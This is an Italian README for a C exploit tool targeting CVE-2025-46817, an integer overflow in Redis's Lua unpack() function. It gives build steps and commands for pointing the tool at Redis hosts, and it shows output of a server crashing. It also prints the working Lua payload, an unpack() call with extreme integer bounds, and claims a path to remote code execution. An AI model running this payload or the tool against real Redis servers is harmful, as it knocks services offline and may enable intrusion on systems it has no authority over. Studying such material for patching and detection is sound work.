
Exploit basato su C per CVE-2025-46817, una vulnerabilità di integer overflow in Redis, che consente il rilevamento di crash e potenziale RCE tramite payload Lua unpack().
Un'implementazione leggera in C dell'exploit CVE-2025-46817 per la vulnerabilità di integer overflow in Redis.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Host del server Redis (obbligatorio)
-P <port> Porta del server Redis (obbligatoria)
-t <timeout> Timeout di connessione in secondi (predefinito: 10)
-h Mostra il messaggio di aiuto
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
Strumento Exploit CVE-2025-46817
Integer Overflow -> Catena RCE
Accesso -> https://pwnbuffer.org/
Autore: Slayerkkk
Target: Redis <= 8.2.1
Tipo: Corruzione Memoria -> Esecuzione Codice
ℹ️ Test della connessione a 127.0.0.1:6379...
✅ Connessione riuscita
ℹ️ Versione Redis: 8.2.1
❌ VULNERABILE - Versione <= 8.2.1
ℹ️ Test dello scripting Lua...
✅ Lua abilitato (1+1=2)
🚀 AVVIO DELLO SFRUTTAMENTO
==================================================
💀 Esecuzione del payload dell'exploit...
Payload: Integer overflow tramite unpack()
💥 SERVER CRASHATO - Connessione persa!
📊 RISULTATO DELLO SFRUTTAMENTO
==============================
💥 Stato: crashato (2.34s)
💀 SFRUTTAMENTO RIUSCITO - Server crashato!
Vulnerabilità CVE-2025-46817 confermata
L'exploit sfrutta un integer overflow nell'implementazione della funzione Lua unpack() di Redis (luaB_unpack). Quando viene chiamata con parametri specifici, l'aritmetica degli interi con segno va in overflow, causando il tentativo di Redis di materializzare un numero enorme di valori di ritorno.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
Lo strumento riporta uno di questi stati:
Autore: Slayerkkk
Sito Web: https://pwnbuffer.org